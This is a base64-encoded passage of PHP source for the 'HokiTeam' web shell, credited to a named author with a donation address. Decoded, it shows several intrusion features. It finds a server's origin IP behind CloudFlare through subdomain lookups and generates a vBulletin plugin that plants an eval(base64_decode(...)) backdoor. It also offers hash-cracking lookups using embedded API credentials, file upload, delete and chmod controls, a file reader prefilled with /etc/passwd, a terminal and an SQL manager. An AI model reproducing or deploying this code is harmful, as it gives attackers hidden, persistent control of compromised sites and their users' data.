4nLCAnZXhjaGFuZ2UuJywgJ2FwcC4nLCAndnBzLicsICdvd2EuJywgJ3NhdC4nLCAnYmJzLicsICdtb3ZpZS4nLCAnbXVzaWMuJywgJ2FydC4nLCAnZnVzaW9uLicsICdtYXBzLicsICdmb3J1bXMuJywgJ2FjYy4nLCAnY2MuJywgJ2Rldi4nLCAnd
3c0Mi4nLCAnd2lraS4nLCAnY2xpZW50cy4nLCAnY2xpZW50LicsJ2Jvb2tzLicsJ2Fuc3dlcnMuJywnc2VydmljZS4nLCdncm91cHMuJywnaW1hZ2VzLicsJ3VwbG9hZC4nLCd1cC4nLCd0dWJlLicsJ3VzZXJzLicsJ2FkbWluLicsJ2FkbWluaXN0
cmF0b3IuJywncHJpdmF0ZS4nLCdkZXNpZ24uJywnd2htY3MuJywnd3AuJywnd29yZHByZXNzLicsJ2pvb21sYS4nLCd2YnVsbGV0aW4uJywndGVzdC4nLCdkZXZlbG9wZXIuJywncGFuZWwuJywnY29udGFjdC4nKTsKaWYocHJlZ19tYXRjaCgnL14
oaHR0cHM/KTpcL1wvKHd7M318dzMpXC4vaScsICR1cmwsICRtYXRjaGVzKSl7CmlmKCRtYXRjaGVzWzJdICE9ICd3d3cnKXskdXJsID0gcHJlZ19yZXBsYWNlKCcvXihodHRwcz8pOlwvXC8vJywgJycsICR1cmwpO31lbHNlewokdXJsID0gZXhwbG
9kZSgkbWF0Y2hlc1swXSwgJHVybCk7CiR1cmwgPSAkdXJsWzFdO319CmlmKGlzX2FycmF5KCRzZXJ2ZXIpKSRzZXJ2ZXIgPSAkc2VydmVyWzBdOwplY2hvIF9fcHJlKCk7CmlmKHByZWdfbWF0Y2goJy9jbG91ZGZsYXJlL2knLCAkc2VydmVyKSkKZ
WNobyAiXG5bK10gQ2xvdWRGbGFyZSBkZXRlY3RlZDogeyRzZXJ2ZXJ9XG48YnI+IjsKZWxzZQplY2hvICJcblsrXSBDbG91ZEZsYXJlIHdhc24ndCBkZXRlY3RlZCwgcHJvY2VlZGluZyBhbnl3YXkuXG4iOwplY2hvICdbK10gQ2xvdWRGbGFyZSBJ
UDogJyAuIGlzX2lwdjQoZ2V0aG9zdGJ5bmFtZSgkdXJsKSkgLiAiXG5cbjxicj48YnI+IjsKZWNobyAiWytdIFNlYXJjaGluZyBmb3IgbW9yZSBJUCBhZGRyZXNzZXMuXG5cbjxicj48YnI+IjsKZm9yKCR4PTA7JHg8Y291bnQoJHN1YnMpOyR4Kys
pewokc2l0ZSA9ICRzdWJzWyR4XSAuICR1cmw7CiRpcCA9IGlzX2lwdjQoZ2V0aG9zdGJ5bmFtZSgkc2l0ZSkpOwppZigkaXAgPT0gJyhOdWxsKScpCmNvbnRpbnVlOwplY2hvICJUcnlpbmcgeyRzaXRlfTogeyRpcH1cbjxicj4iOwp9CmVjaG8gIl
xuWytdIEZpbmlzaGVkLlxuPGJyPiI7Cn0KZWNobyAnPC9kaXY+JzsKaG9raWZvb3RlcigpOwp9CmZ1bmN0aW9uIGlzX2lwdjQoJGlwKXsKcmV0dXJuIGZpbHRlcl92YXIoJGlwLCBGSUxURVJfVkFMSURBVEVfSVAsIEZJTFRFUl9GTEFHX0lQVjQpI
D8gJGlwIDogJyhOdWxsKSc7Cn0KZnVuY3Rpb24gX19hbGVydCgkcyl7CmVjaG8gJzxjZW50ZXI+Jy5fX3ByZSgpLiRzLic8L2NlbnRlcj4nOwp9CmZ1bmN0aW9uIGNyZWF0ZV90YWJsZSgkZGF0YSl7CmVjaG8gJzx0YWJsZSBib3JkZXI9IjEiPic7
CmZvcmVhY2ggKCRkYXRhIGFzICRrZXkgPT4gJHZhbCl7CiRhcnJheSA9IGFycmF5KCk7CmZvcmVhY2goJHZhbCBhcyAkayA9PiAkdil7CiRhcnJheVska10gPSAkdjsKfQplY2hvICI8dHI+PHRkPjxkaXYgY2xhc3M9J3RibHR4dCc+Ii4kYXJyYXl
bJ3RkTmFtZSddLiI8L2Rpdj48L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9JyIuJGFycmF5WydpZCddLiInIG5hbWU9JyIuJGFycmF5WydpbnB1dE5hbWUnXS4iJyAiLigkYXJyYXlbJ3BsYWNlaG9sZGVyJ10/J3BsYWNlaG9sZGVyJzondm
FsdWUnKS4iPSciLiRhcnJheVsnaW5wdXRWYWx1ZSddLiInIHNpemU9JyIuJGFycmF5WydpbnB1dFNpemUnXS4iJyAiLigkYXJyYXlbJ2Rpc2FibGVkJ10/J2Rpc2FibGVkJzonJykuIj48L3RkPjwvdHI+IjsKfQplY2hvICc8L3RhYmxlPic7Cn0KZ
nVuY3Rpb24gaG9raXBocDJ4bWwoKXsKaG9raWhlYWQoKTsKSG9raU51bSg4LDksMTAsNyw2LDUsNCwzKTsKZWNobyAiPGRpdiBjbGFzcz1oZWFkZXI+PGNlbnRlcj48cD48ZGl2IGNsYXNzPSd0eHRmb250X2hlYWRlcic+fCBTaGVsbCBGb3IgdkJ1
bGxldGluIHw8L2Rpdj48L3A+PGZvcm0gb25zdWJtaXQ9XCJnKCdwaHAyeG1sJyxudWxsLHRoaXMuY29kZS52YWx1ZSwnPj4nKTsgcmV0dXJuIGZhbHNlO1wiIG1ldGhvZD0ncG9zdCc+CjxwPjxicj48dGV4dGFyZWEgcm93cz0nMTInIGNvbHM9Jzc
wJyB0eXBlPSd0ZXh0JyBuYW1lPSdjb2RlJyBwbGFjZWhvbGRlcj1cImluc2VydCB5b3VyIHNoZWxsIGNvZGVcIj48L3RleHRhcmVhPjxici8+PGJyLz4KPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nZ28nIHZhbHVlPScgJyAvPjwvcD48L2Zvcm
0+PC9jZW50ZXI+IjsKaWYoJF9QT1NUWydob2tpMiddJiYkX1BPU1RbJ2hva2kyJ109PSc+PicpewplY2hvIF9fcHJlKCkuIjxwPjxjZW50ZXI+PHRleHRhcmVhIHJvd3M9JzEwJyBuYW1lPSd1c2VycycgY29scz0nODAnPiI7CmVjaG8gJzw/eG1sI
HZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz48cGx1Z2lucz48cGx1Z2luIGFjdGl2ZT0iMSIgcHJvZHVjdD0idmJ1bGxldGluIj48dGl0bGU+dkJ1bGxldGluPC90aXRsZT48aG9va25hbWU+aW5pdF9zdGFydHVwPC9ob29rbmFt
ZT48cGhwY29kZT48IVtDREFUQVtpZiAoc3RycG9zKCRfU0VSVkVSW1wnUEhQX1NFTEZcJ10sInN1YnNjcmlwdGlvbnMucGhwIikpe2V2YWwoYmFzZTY0X2RlY29kZShcJycuX19aVzVqYjJSbGNnKCRfUE9TVFsnaG9raTEnXSkuJ1wnKSk7ZXhpdDt
9XV0+PC9waHBjb2RlPjwvcGx1Z2luPjwvcGx1Z2lucz4nOwplY2hvICc8L3RleHRhcmVhPjwvY2VudGVyPjwvcD4nOwp9CmVjaG8gJzwvY2VudGVyPjwvZGl2Pic7Cmhva2lmb290ZXIoKTsKfQpmdW5jdGlvbiBob2tpY3BjcmFjaygpewpob2tpaG
VhZCgpOwplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPjxwPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IEhhc2ggVG9vbHMgfDwvZGl2PjwvcD48aDM+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ2NwY
3JhY2tcJyxudWxsLFwnZGVjXCcpIj58IERlQ3J5cHRlciB8IDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnY3BjcmFja1wnLG51bGwsXCdhbmFseXplclwnKSI+fCBIYXNoIEFuYWx5emVyIHwgPC9hPjwvaDM+PC9j
ZW50ZXI+JzsKaWYoJF9QT1NUWydob2tpMSddPT0nZGVjJyl7CiRhbGdvcml0aG1zID0gYXJyYXkoJ21kNSc9PidNRDUnLCdtZDQnPT4nTUQ0Jywnc2hhMSc9PidTSEExJywnc2hhMjU2Jz0+J1NIQTI1NicsJ3NoYTM4NCc9PidTSEEzODQnLCdzaGE
1MTInPT4nU0hBNTEyJywnbnRsbSc9PidOVExNJyk7CmVjaG8gJzxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgRGVDcnlwdGVyIHw8L2Rpdj48YnI+PGJyPgo8Zm9ybSBvbnN1Ym1pdD0iZyhcJ2NwY3JhY2tcJyxudWxsLFwnZG
VjXCcsdGhpcy5tZDUudmFsdWUsXCc+PlwnLHRoaXMuYWxnLnZhbHVlKTsgcmV0dXJuIGZhbHNlOyI+PGRpdiBjbGFzcz0idHh0Zm9udCI+RGVjcnlwdCBNZXRob2Q6PC9kaXY+IDxzZWxlY3QgbmFtZT0iYWxnIiBzdHlsZT0id2lkdGg6MTAwcHg7I
j4nOwpmb3JlYWNoKCRhbGdvcml0aG1zIGFzICRrZXk9PiR2YWwpe2VjaG8oJzxvcHRpb24gdmFsdWU9IicuJGtleS4nIj4nLiR2YWwuJzwvb3B0aW9uPicpO30KZWNobyc8L3NlbGVjdD48aW5wdXQgdHlwZT0idGV4dCIgcGxhY2Vob2xkZXI9Ikhh
c2giIG5hbWU9Im1kNSIgc2l6ZT0iNjAiIGlkPSJ0ZXh0IiAvPiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iICIgbmFtZT0iZ28iIC8+PC9mb3JtPjwvY2VudGVyPjxicj4nOwppZigkX1BPU1RbJ2hva2kzJ10gPT0gJz4+Jyl7CiRoYXNoID0
gJF9QT1NUWydob2tpMiddOwppZighZW1wdHkoJGhhc2gpKXsKJGhhc2hfdHlwZSA9ICRfUE9TVFsnaG9raTQnXTsKJGVtYWlsID0gImtpc2VyeW91bmlAZ21haWwuY29tIjsKJGNvZGUgPSAiN2I5ZmE3OWY5MmMzY2Q5NiI7CiR0YXJnZXQgPSAiaH
R0cHM6Ly9tZDVkZWNyeXB0Lm5ldC9BcGkvYXBpLnBocD9oYXNoPSIuJGhhc2guIiZoYXNoX3R5cGU9Ii4kaGFzaF90eXBlLiImZW1haWw9Ii4kZW1haWwuIiZjb2RlPSIuJGNvZGU7CiRyZXNwID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCR0YXJnZXQpO
wppZigkcmVzcD09JycpewokZ2V0ID0gbmV3IEhva2lDVVJMKCk7CiRyZXNwID0gJGdldC0+U2VuZCgkdGFyZ2V0KTsKfQplY2hvIF9fcHJlKCkuJzxjZW50ZXI+JzsKc3dpdGNoKCRyZXNwKXsKCWNhc2UoJ0NPREUgRVJSRVVSIDogMDAxJyk6ZWNo
byAiPGI+PGZvbnQgY29sb3I9J3JlZCc+WW91IGV4Y2VlZGVkIHRoZSA0MDAgYWxsb3dlZCByZXF1ZXN0IHBlciBkYXk8L2ZvbnQ+PC9iPiI7YnJlYWs7CgljYXNlKCdDT0RFIEVSUkVVUiA6IDAwMycpOmVjaG8gIjxiPjxmb250IGNvbG9yPSdyZWQ
nPllvdXIgcmVxdWVzdCBpbmNsdWRlcyBtb3JlIHRoYW4gNDAwIGhhc2hlcy48L2ZvbnQ+PC9iPiI7YnJlYWs7CgljYXNlKCdDT0RFIEVSUkVVUiA6IDAwNCcpOmVjaG8gIjxiPjxmb250IGNvbG9yPSdyZWQnPlRoZSB0eXBlIG9mIGhhc2ggeW91IH
Byb3ZpZGUgaW4gdGhlIGFyZ3VtZW50IGhhc2hfdHlwZSBkb2Vzbid0IHNlZW0gdG8gYmUgdmFsaWQ8L2ZvbnQ+PC9iPiI7YnJlYWs7CgljYXNlKCdDT0RFIEVSUkVVUiA6IDAwNScpOmVjaG8gIjxiPjxmb250IGNvbG9yPSdyZWQnPlRoZSBoYXNoI
HlvdSBwcm92aWRlIGRvZXNuJ3Qgc2VlbSB0byBtYXRjaCB3aXRoIHRoZSB0eXBlIG9mIGhhc2ggeW91IHNldC48L2ZvbnQ+PC9iPiI7YnJlYWs7Cn0KaWYoc3Vic3RyKCRyZXNwLDAsNCkhPSdDT0RFJyYmJHJlc3AhPScnKXsKZWNobyAiPGI+UmVz
dWx0OiA8Zm9udCBjb2xvcj0nZ3JlZW4nPiIuJHJlc3AuIjwvZm9udD48L2I+IjsKfWVsc2VpZihzdWJzdHIoJHJlc3AsMCw0KSE9J0NPREUnKXsKZWNobyAiPGZvbnQgY29sb3I9J3JlZCc+Tm9UIEZvdW5kPC9mb250PjxiciAvPiI7Cn0KZWNobyg
nPC9jZW50ZXI+Jyk7Cn0KfQp9CmlmKCRfUE9TVFsnaG9raTEnXT09J2FuYWx5emVyJyl7CmVjaG8gJzxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgSGFzaCBBbmFseXplciB8PC9kaXY+PC9wPgo8Zm9ybSBvbnN1Ym1pdD
0iZyhcJ2NwY3JhY2tcJyxudWxsLFwnYW5hbHl6ZXJcJyx0aGlzLmhhc2gudmFsdWUsXCc+PlwnKTtyZXR1cm4gZmFsc2U7Ij4KPGRpdiBjbGFzcz0idHh0Zm9udCI+SGFzaDogPC9kaXY+IDxpbnB1dCB0eXBlPSJ0ZXh0IiBwbGFjZWhvbGRlcj0iS
GFzaCIgbmFtZT0iaGFzaCIgc2l6ZT0iNjAiIGlkPSJ0ZXh0IiAvPiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iICIgbmFtZT0iZ28iIC8+PC9mb3JtPjwvY2VudGVyPjxicj4nOwppZigkX1BPU1RbJ2hva2kzJ10gPT0gJz4+Jyl7CiRoYXNo
ID0gJF9QT1NUWydob2tpMiddOwppZighZW1wdHkoJGhhc2gpKXsKJGN1cmwgPSBuZXcgSG9raUNVUkwoKTsKJHJlc3AgPSAkY3VybC0+U2VuZCgiaHR0cHM6Ly9tZDVkZWNyeXB0Lm5ldC9lbi9IYXNoRmluZGVyLyIsInBvc3QiLCJoYXNoPXskaGF
zaH0mY3J5cHQ9U2VhcmNoIik7CmVjaG8oX19wcmUoKS4nPGNlbnRlcj4nKTsKaWYocHJlZ19tYXRjaCgnIzxmaWVsZHNldCBjbGFzcz0idHJvdXZlIj4oLio/KTwvZmllbGRzZXQ+IycsJHJlc3AsJHMpKXsKCWVjaG8oJzxmb250IGNvbG9yPSJncm
VlbiI+Jy4kc1sxXS4nPC9mb250PicpOwp9ZWxzZXsKCWVjaG8oJzxmb250IGNvbG9yPSJyZWQiPk5vdCBGb3VuZC4uLiE8L2ZvbnQ+Jyk7Cn0KZWNobygnPC9jZW50ZXI+PGJyPicpOwp9Cn0KfQplY2hvICc8L2Rpdj4nOwpob2tpZm9vdGVyKCk7C
n0KZnVuY3Rpb24gaG9raWZvb3RlcigpewppZighaXNzZXQoJF9QT1NUWydhamF4J10pKXsKZWNobyAiPHRhYmxlIGNsYXNzPSdmb290JyB3aWR0aD0nMTAwJScgYm9yZGVyPScwJyBjZWxsc3BhY2luZz0nMycgY2VsbHBhZGRpbmc9JzAnID4KPHRy
Pgo8dGQgd2lkdGg9JzE3JSc+PGZvcm0gb25zdWJtaXQ9XCJpZih0aGlzLmYudmFsdWUudHJpbSgpLmxlbmd0aD09MClyZXR1cm4gZmFsc2U7ZWRpdG9yKHRoaXMuZi52YWx1ZSwnbWtmaWxlJywnJywnJywnJywnZmlsZScpO3RoaXMuZi52YWx1ZT0
nJztyZXR1cm4gZmFsc2U7XCI+PHNwYW4gY2xhc3M9J2Zvb3Rlcl90ZXh0Jz5NYWtlIEZpbGUgOiA8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0nZGlyJyB0eXBlPSd0ZXh0JyBuYW1lPSdmJyB2YWx1ZT0nJz4gPGlucHV0IHR5cGU9J3N1Ym1pdCcgdm
FsdWU9JyAnPjwvZm9ybT48L3RkPgo8dGQgd2lkdGg9JzIxJSc+PGZvcm0gb25zdWJtaXQ9XCJnKCdGaWxlc01hbicsbnVsbCwnbWtkaXInLHRoaXMuZC52YWx1ZSk7dGhpcy5kLnZhbHVlPScnO3JldHVybiBmYWxzZTtcIj48c3BhbiBjbGFzcz0nZ
m9vdGVyX3RleHQnPk1ha2UgRGlyIDogPC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J2RpcicgdHlwZT0ndGV4dCcgbmFtZT0nZCcgdmFsdWU9JyAnPiA8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICc+PC9mb3JtPjwvdGQ+Cjx0ZCB3aWR0aD0n
MjIlJz48Zm9ybSBvbnN1Ym1pdD1cImcoJ0ZpbGVzTWFuJyxudWxsLCdkZWxldGUnLHRoaXMuZGVsLnZhbHVlKTt0aGlzLmRlbC52YWx1ZT0nJztyZXR1cm4gZmFsc2U7XCI+PHNwYW4gY2xhc3M9J2Zvb3Rlcl90ZXh0Jz5EZWxldGUgOiA8L3NwYW4
+PGJyPjxpbnB1dCBjbGFzcz0nZGlyJyB0eXBlPSd0ZXh0JyBuYW1lPSdkZWwnIHZhbHVlPScgJz4gPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnPjwvZm9ybT48L3RkPgo8dGQgd2lkdGg9JzE5JSc+PGZvcm0gb25zdWJtaXQ9XCJpZih0aG
lzLmYudmFsdWUudHJpbSgpLmxlbmd0aD09MClyZXR1cm4gZmFsc2U7ZWRpdG9yKHRoaXMuZi52YWx1ZSwnY2htb2QnLCcnLCcnLCcnLCdub25lJyk7dGhpcy5mLnZhbHVlPScnO3JldHVybiBmYWxzZTtcIj48c3BhbiBjbGFzcz0nZm9vdGVyX3Rle
HQnPkNobW9kIDogPC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J2RpcicgdHlwZT10ZXh0IG5hbWU9ZiB2YWx1ZT0nICc+IDxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgJz48L2Zvcm0+PC90ZD4KPC90cj4KPHRyPgo8dGQgY29sc3Bhbj0nMic+
PGZvcm0gb25zdWJtaXQ9J2coXCJGaWxlc01hblwiLHRoaXMuYy52YWx1ZSxcIlwiKTtyZXR1cm4gZmFsc2U7Jz48c3BhbiBjbGFzcz0nZm9vdGVyX3RleHQnPkNoYW5nZSBEaXIgOiA8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0nZm9vdHRhYmxlJyB
pZD0nZm9vdGVyX2N3ZCcgdHlwZT0ndGV4dCcgbmFtZT0nYycgdmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLiInPiA8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICc+PC9mb3JtPjwvdGQ+Cjx0ZCBjb2xzcGFuPS
cyJz48Zm9ybSBvbnN1Ym1pdD1cImVkaXRvcih0aGlzLmZpbGUudmFsdWUsJ3ZpZXcnLCcnLCcnLCcnLCdmaWxlJyk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPjxzcGFuIGNsYXNzPSdmb290ZXJfdGV4dCc+UmVhZCBGaWxlIDogPC9zcGFuPjwvc3Bhb
j48YnI+PGlucHV0IGNsYXNzPSdmb290dGFibGUnIHR5cGU9J3RleHQnIG5hbWU9J2ZpbGUnIHZhbHVlPScvZXRjL3Bhc3N3ZCc+IDxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgJz48L2Zvcm0+PC90ZD4KPC90cj4KPHRyPgo8dGQgY29sc3Bh
bj0nNCc+PGZvcm0gc3R5bGU9J21hcmdpbi10b3A6IDEwcHg7JyBvbnN1Ym1pdD1cInJldHVybiBmYWxzZTtcIiBhdXRvY29tcGxldGU9J29mZic+PHNwYW4+PHNwYW4gY2xhc3M9J2Zvb3Rlcl90ZXh0Jz5FeGVjdXRlIDo8L3NwYW4+PGJyPjxidXR
0b24gb25DbGljaz0naG9raU9wZW5QaHBUZXJtaW5hbCgpO3JldHVybiBmYWxzZTsnIGNsYXNzPSdmb290dGFibGUgaG9raV9jdXN0b21fY21kX2J0bic+PGltZyBzdHlsZT0nd2lkdGg6MTVweDt2ZXJ0aWNhbC1hbGlnbjogbWlkZGxlOycgc3JjPS
dodHRwczovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L3Rlcm1pbmFsLnN2Zyc+IFRlcm1pbmFsPC9idXR0b24+PGJyPjwvZm9ybT48L3RkPgo8L3RyPgo8dHI+Cjx0ZCBjb2xzcGFuPSc0Jz48Zm9ybSBvbnN1Ym1pdD0ndSh0aGlzKTtyZXR1c
m4gZmFsc2U7JyBuYW1lPSdmb290ZXJfZm9ybScgbWV0aG9kPSdwb3N0JyBFTkNUWVBFPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4KPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYScgdmFsdWU9J0ZpbGVzTUFuJz4KPGlucHV0IHR5cGU9J2hpZGRl
bicgbmFtZT0nYycgdmFsdWU9JyIgLiAkR0xPQkFMU1snY3dkJ10gLiInPgo8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhamF4JyB2YWx1ZT0ndHJ1ZSc+CjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2hva2kxJyB2YWx1ZT0ndXBsb2FkRml
sZSc+CjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2NoYXJzZXQnIHZhbHVlPSciIC4gKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykgLiAiJz4KPHNwYW4gY2xhc3M9J2Zvb3Rlcl90ZXh0Jz5VcGxvYWQgZm
lsZTogPC9zcGFuPjxzcGFuPjxidXR0b24gaWQ9J2FkZHVwJyBvbmNsaWNrPSdhZGRuZXd1cCgpO3JldHVybiBmYWxzZTsnPjxiPis8L2I+PC9idXR0b24+PC9zcGFuPjxwIGlkPSdwZm9vdGVydXAnPjxsYWJlbCBjbGFzcz0naW5wdXRmaWxlJyBmb
3I9J2Zvb3RlcnVwJz48c3BhbiBpZD0nX19mbmFtZXVwJz48L3NwYW4+IDxzdHJvbmc+Jm5ic3A7Jm5ic3A7Q2hvb3NlIGEgZmlsZTwvc3Ryb25nPjwvbGFiZWw+PGlucHV0IGlkPSdmb290ZXJ1cCcgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPSdmaWxl
JyBuYW1lPSdmW10nIG9uQ2hhbmdlPSdoYW5kbGV1cCh0aGlzLDApOycgbXVsdGlwbGU+PC9wPjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J3N1Ym1pdCcgdmFsdWU9JyAnPjwvZm9ybT48ZGl2IGlkPSdob2tpLWNvcHlyaWdodCc+PHNwYW4gY2x
hc3M9J2NvcHlyaWdodCc+WyAuL0hva2lUZWFtICZjb3B5OyAyMDEyLSIuZGF0ZSgnWScpLiIgXTwvc3Bhbj48YnI+PHNwYW4+PGEgaHJlZj0namF2YXNjcmlwdDp2b2lkKDApOycgb25jbGljaz0nYWxlcnQoXCJCVEM6IGJjMXF3eWoycHVzczdwOW
RjOWdwNXI5dDhldnBxdDR0eXh1cGF6YXlydlwiKTsnIHN0eWxlPSdjb2xvcjogI0U5MUU2Mzt0ZXh0LWRlY29yYXRpb246IG5vbmU7Jz5Eb25hdGUgVXMgITwvYT48L3NwYW4+IDxzcGFuIHN0eWxlPSdsZXR0ZXItc3BhY2luZzogMnB4O2NvbG9yO
iAjZGZmZjAwOyc+a2lzZXJ5b3VuaVthdF1nbWFpbC5jb208L3NwYW4+IDxzcGFuPjxhIHN0eWxlPSdjb2xvcjogI2ZmNjA2MDt0ZXh0LWRlY29yYXRpb246IG5vbmU7JyB0YXJnZXQ9J19ibGFuaycgaHJlZj0naHR0cHM6Ly90ZWxlZ3JhbS5tZS9r
aXNlcnlvdW5pJz5Aa2lzZXJ5b3VuaTwvYT48L3NwYW4+PC9kaXY+PC90ZD4KPC90cj4KPC90YWJsZT4KPC9kaXY+Cgo8ZGl2IGlkPSdvcHRpb25zX3dpbmRvdycgc3R5bGU9J2JhY2tncm91bmQ6cmdiYSgwLCAwLCAwLCAwLjY5KTsnPjxkaXYgY2x
hc3M9J2VkaXRvci13cmFwcGVyJz48ZGl2IGNsYXNzPSdlZGl0b3ItaGVhZGVyJz48ZGl2IGNsYXNzPSdvcHQtdGl0bGUnPjwvZGl2PjxkaXYgY2xhc3M9J2VkaXRvci1jb250cm9sbGVyJz48ZGl2IGNsYXNzPSdlZGl0b3ItbWluaW1pemUnIG9uQ2
xpY2s9J2VkaXRvck1pbmltaXplKFwib3B0aW9uc193aW5kb3dcIik7Jz48L2Rpdj48ZGl2IG9uQ2xpY2s9J2VkaXRvckNsb3NlKFwib3B0aW9uc193aW5kb3dcIik7JyBjbGFzcz0nY2xvc2UtYnV0dG9uJz48L2Rpdj48L2Rpdj48L2Rpdj48ZGl2I
HN0eWxlPSdoZWlnaHQ6MTAwJTsnIGNsYXNzPSdjb250ZW50X29wdGlvbnNfaG9sZGVyJz48ZGl2IGNsYXNzPSdvcHRpb25zX3RhYic+PC9kaXY+PGRpdiBjbGFzcz0nb3B0aW9uc19jb250ZW50JyBzdHlsZT0nbWFyZ2luLWxlZnQ6MTRweDttYXJn
aW4tcmlnaHQ6MzBweDtiYWNrZ3JvdW5kOiMwMDA7b3ZlcmZsb3c6YXV0bzsnPjwvZGl2PjwvZGl2PjwvZGl2PjwvZGl2PgoKPGRpdiBpZD0nZGF0YWJhc2Vfd2luZG93JyBzdHlsZT0nYmFja2dyb3VuZDpyZ2JhKDAsIDAsIDAsIDAuNjkpOyc+PGR
pdiBjbGFzcz0nZWRpdG9yLXdyYXBwZXInPjxkaXYgY2xhc3M9J2VkaXRvci1oZWFkZXInPjxkaXYgY2xhc3M9J29wdC10aXRsZSc+U3FsIE1hbmFnZXI8L2Rpdj48ZGl2IGNsYXNzPSdlZGl0b3ItY29udHJvbGxlcic+PGRpdiBjbGFzcz0nZWRpdG
9yLW1pbmltaXplJyBvbkNsaWNrPSdlZGl0b3JNaW5pbWl6ZShcImRhdGFiYXNlX3dpbmRvd1wiKTsnPjwvZGl2PjxkaXYgb25DbGljaz0nZWRpdG9yQ2xvc2UoXCJkYXRhYmFzZV93aW5kb3dcIik7JyBjbGFzcz0nY2xvc2UtYnV0dG9uJz48L2Rpd
j48L2Rpdj48L2Rpdj48ZGl2IGNsYXNzPSdjb250ZW50X29wdGlvbnNfaG9sZGVyJyBzdHlsZT0nbWFyZ2luLWxlZnQ6MTRweDttYXJnaW4tcmlnaHQ6MzBweDtiYWNrZ3JvdW5kOiMwMDA7bWF4LWhlaWdodDo5MCU7Jz48ZGl2IGNsYXNzPSdzcWwt
dGFicyc+PC9kaXY+PGRpdiBjbGFzcz0nc3FsLWNvbnRlbnRzJyBzdHlsZT0nbWF4LWhlaWdodDogODV2aDsnPjwvZGl2PjwvZGl2PjwvZGl2PjwvZGl2PgoKPGRpdiBpZD0nY2dpbG9hZGVyJz48ZGl2IGNsYXNzPSdlZGl0b3Itd3JhcHBlcic+PGR
pdiBjbGFzcz0nZWRpdG9yLWhlYWRlcic+PGRpdiBjbGFzcz0nb3B0LXRpdGxlJz48L2Rpdj48ZGl2IGNsYXNzPSdlZGl0b3ItY29udHJvbGxlcic+PGRpdiBjbGFzcz0nZWRpdG9yLW1pbmltaXplJyBvbkNsaWNrPSdlZGl0b3JNaW5pbWl6ZShcIm
NnaWxvYWRlclwiKTsnPjwvZGl2PjxkaXYgb25DbGljaz0nZWRpdG9yQ2xvc2UoXCJjZ2lsb2FkZXJcIik7JyBjbGFzcz0nY2xvc2UtYnV0dG9uJz48L2Rpdj48L2Rpdj48L2Rpdj48ZGl2IGlkPSdjZ2lmcmFtZScgc3R5bGU9J3Bvc2l0aW9uOnJlb
GF0aXZlO21hcmdpbi1sZWZ0OjE0cHg7bWFyZ2luLXJpZ2h0OjMwcHg7Jz48ZGl2IGNsYXNzPSd0ZXJtaW5hbC10YWJzJz48L2Rpdj48ZGl2IHN0eWxlPSdoZWlnaHQ6OTAlOycgY2xhc3M9J3Rlcm1pbmFsLWNvbnRlbnRzJz48L2Rpdj48L2Rpdj48
L2Rpdj48L2Rpdj4KPGRpdiBpZD0nZWRpdG9yJyBzdHlsZT0nZGlzcGxheTpub25lOyc+PGRpdiBjbGFzcz0nZWRpdG9yLXdyYXBwZXInPjxkaXYgY2xhc3M9J2VkaXRvci1oZWFkZXInPjxkaXYgY2xhc3M9J2VkaXRvci1wYXRoJz48L2Rpdj48ZGl
2IGNsYXNzPSdlZGl0b3ItY29udHJvbGxlcic+PGRpdiBjbGFzcz0nZWRpdG9yLW1pbmltaXplJyBvbkNsaWNrPSdlZGl0b3JNaW5pbWl6ZShcImVkaXRvclwiKTsnPjwvZGl2PjxkaXYgb25DbGljaz0nZWRpdG9yQ2xvc2UoXCJlZGl0b3JcIik7Jy
BjbGFzcz0nY2xvc2UtYnV0dG9uJz48L2Rpdj48L2Rpdj48L2Rpdj48ZGl2IG9uY2xpY2s9J2hpc3RvcnlQYW5lbENvbnRyb2xsZXIodGhpcyk7JyBtb2RlPSd2aXNpYmxlJyBjbGFzcz0naGlzdG9yeS1wYW5lbC1jb250cm9sbGVyJz48PDwvZGl2P
jxkaXYgY2xhc3M9J2VkaXRvci1leHBsb3Jlcic+PGRpdiBjbGFzcz0naGhlYWRlcic+PGRpdiBjbGFzcz0naGlzdG9yeS1jbGVhcicgb25jbGljaz0nY2xlYXJFZGl0b3JIaXN0b3J5KCk7Jz5DbGVhciBhbGw8L2Rpdj48ZGl2IGNsYXNzPSdoaGVh
